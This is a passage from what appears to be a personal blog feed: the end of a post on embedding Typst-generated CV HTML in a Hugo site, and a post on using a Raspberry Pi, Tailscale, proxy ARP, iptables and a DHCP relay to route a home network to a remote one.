&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [[&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mounts&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;source&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;cv/georgehoneywood-cv.html&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;assets/georgehoneywood-cv.html&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [[&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mounts&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;source&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#39;assets&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#39;assets&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In parallel, I run Typst exporting to HTML from the &lt;code&gt;cv&lt;/code&gt; folder:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;~/george.honeywood.org.uk/cv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; typst watch --format html --features html georgehoneywood-cv.typ
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Template for the &lt;code&gt;/cv/&lt;/code&gt; page:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!-- layouts/page/cv.html --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!-- pick up styling from scss/pages/cv.scss --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ define &amp;#34;styles&amp;#34; }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{ $.Scratch.Set &amp;#34;style_opts&amp;#34; (dict &amp;#34;src&amp;#34; &amp;#34;scss/pages/cv.scss&amp;#34; &amp;#34;dest&amp;#34; &amp;#34;css/cv.css&amp;#34;) }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ end }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!-- wrap in base template --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ define &amp;#34;main&amp;#34; }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ $file := resources.Get &amp;#34;georgehoneywood-cv.html&amp;#34; }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ $file = $file.Content }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!-- strip out typst HTML boilerplate, we just need raw body --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ $file = index (strings.Split $file &amp;#34;&amp;lt;body&amp;gt;\n &amp;lt;div&amp;gt;\n &amp;#34;) 1 }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ $file = index (strings.Split $file &amp;#34;&amp;lt;/div&amp;gt;\n &amp;lt;/body&amp;gt;&amp;#34;) 0 }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;div class=&amp;#34;flex-wrapper&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div class=&amp;#34;post__container&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div class=&amp;#34;post&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;article class=&amp;#34;post__content&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;!-- print out the CV content --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{ $file | safeHTML}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{ partial &amp;#34;anchored-headings.html&amp;#34; .Content }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/article&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;footer class=&amp;#34;post__footer&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{ partial &amp;#34;social-icons.html&amp;#34; .}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;p&amp;gt;{{ replace .Site.Copyright &amp;#34;{year}&amp;#34; now.Year | safeHTML}}&amp;lt;/p&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/footer&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ end }}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As Typst outputs a standalone HTML document, including &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;, you need to strip these out if you want to embed the output in a template.
You&amp;rsquo;ll also need some boilerplate content file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# content/cv.md&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;layout&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;cv&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;CV&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the aforementioned CSS file, the only clever thing is inverting the colour of the Typst &lt;code&gt;html.frame()&lt;/code&gt; SVG elements when the browser is set to dark mode.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* scss/pages/cv.scss */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;prefers-color-scheme&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;dark&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;typst-frame&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;filter&lt;/span&gt;: invert(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Go forth and &lt;a href="https://george.honeywood.org.uk/cv/"
&gt;view the HTML result!&lt;/a&gt; (cf. the original &lt;a href="https://george.honeywood.org.uk/georgehoneywood-cv.pdf"
&gt;PDF version&lt;/a&gt;). This is generated from &lt;a href="https://github.com/GeorgeHoneywood/george.honeywood.org.uk/blob/master/cv/georgehoneywood-cv.typ"
target="_blank" rel="noreferrer noopener"
&gt;this Typst source&lt;/a&gt;, using my &lt;a href="https://github.com/GeorgeHoneywood/alta-typst/blob/master/alta-typst.typ"
target="_blank" rel="noreferrer noopener"
&gt;Alta Typst template&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m reasonably pleased with how it looks. While this setup works well enough for one-off pages, it doesn&amp;rsquo;t really scale to writing individual posts in Typst. I think you could hack something together with page resources and a shortcode to handle that case.&lt;/p&gt;</description></item><item><title>Bodging a brouter</title><link>https://george.honeywood.org.uk/blog/bodging-a-brouter/</link><pubDate>Fri, 17 Oct 2025 19:20:35 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/bodging-a-brouter/</guid><description>&lt;p&gt;I wanted to do something a bit weird the other day.&lt;br&gt;
I&amp;rsquo;ve got two networks. &lt;code&gt;192.168.0.1/24&lt;/code&gt; and &lt;code&gt;192.168.1.1/24&lt;/code&gt;, which are at different sites &amp;mdash; &lt;code&gt;.1.&lt;/code&gt; is at my parent&amp;rsquo;s house, &lt;code&gt;.0.&lt;/code&gt; is at my flat.&lt;br&gt;
A Jellyfin media server lives on the &lt;code&gt;.1.&lt;/code&gt; network, and I want to be able to reach that from my the &lt;code&gt;.0.&lt;/code&gt; network, where I have a Roku with the Jellyfin app installed.&lt;/p&gt;
&lt;p&gt;The really easy option here is to add a port forward on the &lt;code&gt;.1.&lt;/code&gt; side router, such that you can reach the Jellyfin server from the public internet &amp;mdash; this is exactly what I used to do for Plex. However, exposing things to the internet isn&amp;rsquo;t usually a great idea from a security perspective, especially when you aren&amp;rsquo;t great at keeping things up to date!&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve got Tailscale (which is a fancy Wireguard VPN solution) set up on the &lt;code&gt;.1.&lt;/code&gt; side, so I can reach that network from specific devices that have the Tailscale app installed, but unfortunately there isn&amp;rsquo;t an app for the Roku.
What makes things a bit more complicated is that the router for the &lt;code&gt;.0.&lt;/code&gt; network is a rubbish ISP provided one. I can&amp;rsquo;t easily avoid using it as the flat has 4G/LTE internet, don&amp;rsquo;t ask!
As such I can&amp;rsquo;t configure any extra routes or install the Tailscale VPN on the router itself.&lt;/p&gt;
&lt;p&gt;My first pass at this was very lazy. On my desktop on the &lt;code&gt;.0.&lt;/code&gt; side I&amp;rsquo;ve got Tailscale running, so it can reach the Jellyfin server over on &lt;code&gt;.1.&lt;/code&gt; fine. All that&amp;rsquo;s required is a little TCP proxy &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;desktop$ socat -dd TCP4-LISTEN:8096,fork,reuseaddr TCP4:192.168.1.30:8096
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then on the Roku I can configure the Jellyfin client to hit the desktop LAN &lt;code&gt;.0.&lt;/code&gt; IP and the connection is forwarded on to the remote Jellyfin server at &lt;code&gt;192.168.1.30&lt;/code&gt;. This worked perfectly fine, but having to keep my desktop on whenever I wanted to use Jellyfin was a bit annoying.&lt;/p&gt;
&lt;p&gt;My next idea was to just put this on a Raspberry Pi which I can leave on permenantly without using too much expensive electricity. The downside with this &lt;code&gt;socat&lt;/code&gt; trick is that it&amp;rsquo;s a bit static, if you wanted to talk to multiple endpoints you&amp;rsquo;d need to listen on multiple ports and remember all the mappings.&lt;/p&gt;
&lt;p&gt;What I really wanted was a proper routed setup, where any &lt;code&gt;.0.&lt;/code&gt; device can route to anything on the &lt;code&gt;.1.&lt;/code&gt; network. This is where I had a devious idea &amp;mdash; to use the Raspberry Pi as a bridge for all traffic on the way to my router. Bridging is where a device with two NICs, links them, such that traffic coming in on one, is sent straight back out the other.&lt;br&gt;
For my purpose the Pi can&amp;rsquo;t act purely as a bridge though, it also needs to do some routing of the &lt;code&gt;.1.&lt;/code&gt; network bound packets, such that they pass through the tailscale tunnel.&lt;/p&gt;
&lt;p&gt;As far as I can tell, this is a bit of an unusual thing to want to do &amp;mdash; it&amp;rsquo;s called bridge routing (or brouting). It doesn&amp;rsquo;t seem to easy to do this with a usual Linux bridge device &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;, but thankfully it&amp;rsquo;s pretty simple to configure something that behaves the same.&lt;/p&gt;
&lt;p&gt;These are the interfaces on my brouter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# networkctl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;IDX LINK TYPE OPERATIONAL SETUP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; lo loopback carrier unmanaged
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; eth0 ether routable configured
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; eth1 ether routable configured
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; tailscale0 none routable unmanaged
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;m using &lt;code&gt;eth0&lt;/code&gt; as the upstream side (plugged into the ISP router) and &lt;code&gt;eth1&lt;/code&gt; as downstream (plugged into a switch and WAP).&lt;br&gt;
You&amp;rsquo;ll need some kernel config:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# cat /etc/sysctl.d/99-proxyarp.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net.ipv4.ip_forward&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net.ipv4.conf.eth0.proxy_arp&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net.ipv4.conf.eth1.proxy_arp&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ip_forward&lt;/code&gt; makes the kernel to retransmit packets that weren&amp;rsquo;t destined for a local IP address.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;proxy_arp&lt;/code&gt; causes ARP traffic coming in on one interface to be sent back out of the other, replacing the MAC addresses such that layer 2 works as expected.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once you&amp;rsquo;ve got your kernel parameters set, you need a bit of &lt;code&gt;iptables&lt;/code&gt; magic to handle the routing part of the equation. We want to mark the &lt;code&gt;.1.&lt;/code&gt; bound packets, so that they are forced to route via our &lt;code&gt;tailscale0&lt;/code&gt; interface:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;iptables -t mangle -A PREROUTING -d 192.168.1.0/24 -j MARK --set-mark &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip rule add fwmark &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; table &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip route add default dev tailscale0 table &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This isn&amp;rsquo;t quite enough to make things work unfortunately. Checking the traffic, I can see packets headed out over the Tailscale interface, but no replies coming back:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# tcpdump -i tailscale0 &lt;span style="color:#e6db74"&gt;&amp;#39;icmp&amp;#39;&lt;/span&gt; -n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:53:28.804692 IP 192.168.0.3 &amp;gt; 192.168.1.30: ICMP echo request, id 253, seq 1, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:53:29.805010 IP 192.168.0.3 &amp;gt; 192.168.1.30: ICMP echo request, id 253, seq 2, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:53:30.829186 IP 192.168.0.3 &amp;gt; 192.168.1.30: ICMP echo request, id 253, seq 3, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is because devices on the &lt;code&gt;.1.&lt;/code&gt; net can&amp;rsquo;t route directly back to &lt;code&gt;.0.&lt;/code&gt;. To make this work we have to SNAT (source NAT) the traffic such that it appears to come from the local side of the Tailscale tunnel:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;iptables -t nat -A POSTROUTING -o tailscale0 -j MASQUERADE
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we see replies coming back too! &lt;code&gt;100.120.7.128&lt;/code&gt; is the local IP of the &lt;code&gt;tailscale0&lt;/code&gt; interface.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# tcpdump -i tailscale0 &lt;span style="color:#e6db74"&gt;&amp;#39;icmp&amp;#39;&lt;/span&gt; -n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:50.428553 IP 100.120.7.128 &amp;gt; 192.168.1.30: ICMP echo request, id 254, seq 1, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:50.499516 IP 192.168.1.30 &amp;gt; 100.120.7.128: ICMP echo reply, id 254, seq 1, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:51.429393 IP 100.120.7.128 &amp;gt; 192.168.1.30: ICMP echo request, id 254, seq 2, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:51.517161 IP 192.168.1.30 &amp;gt; 100.120.7.128: ICMP echo reply, id 254, seq 2, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:52.431187 IP 100.120.7.128 &amp;gt; 192.168.1.30: ICMP echo request, id 254, seq 3, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;18:56:52.509740 IP 192.168.1.30 &amp;gt; 100.120.7.128: ICMP echo reply, id 254, seq 3, length &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I figure I better include a diagram here:&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/bodging-a-brouter/images/network.svg'&gt;
&lt;picture&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/bodging-a-brouter/images/network.svg'
loading="lazy"
alt='Network diagram of brouting setup'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The final piece of the puzzle is that this setup breaks DHCP (dynamic IP configuration) &amp;mdash; as it uses broadcast traffic, and the kernel won&amp;rsquo;t forward broadcast traffic. This is pretty easy to work around, you can install a little daemon to proxy traffic recieved downstream on &lt;code&gt;eth1&lt;/code&gt; up to the ISP router on &lt;code&gt;eth0&lt;/code&gt;. I used &lt;code&gt;isc-dhcp-relay&lt;/code&gt; and the config is trivial:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# cat /etc/default/isc-dhcp-relay
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# What servers should the DHCP relay forward requests to?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SERVERS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;192.168.0.1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On what interfaces should the DHCP relay (dhrelay) serve DHCP requests?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INTERFACES&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;eth1 eth0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The network flow for DHCP now looks like this, where &lt;code&gt;192.168.0.125&lt;/code&gt; is &lt;code&gt;eth0&lt;/code&gt;&amp;rsquo;s local IP and &lt;code&gt;192.168.0.126&lt;/code&gt; is &lt;code&gt;eth1&lt;/code&gt;&amp;rsquo;s:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@raspberry:~# tcpdump -i any &lt;span style="color:#e6db74"&gt;&amp;#39;port bootps&amp;#39;&lt;/span&gt; -n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5112 eth1 B IP 0.0.0.0.68 &amp;gt; 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;312&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5114 eth0 Out IP 192.168.0.125.67 &amp;gt; 192.168.0.1.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;312&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5345 eth0 In IP 192.168.0.1.67 &amp;gt; 192.168.0.126.67: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5346 eth1 Out IP 192.168.0.126.67 &amp;gt; 0.0.0.0.68: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5418 eth1 B IP 0.0.0.0.68 &amp;gt; 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5419 eth0 Out IP 192.168.0.125.67 &amp;gt; 192.168.0.1.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5684 eth0 In IP 192.168.0.1.67 &amp;gt; 192.168.0.126.67: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
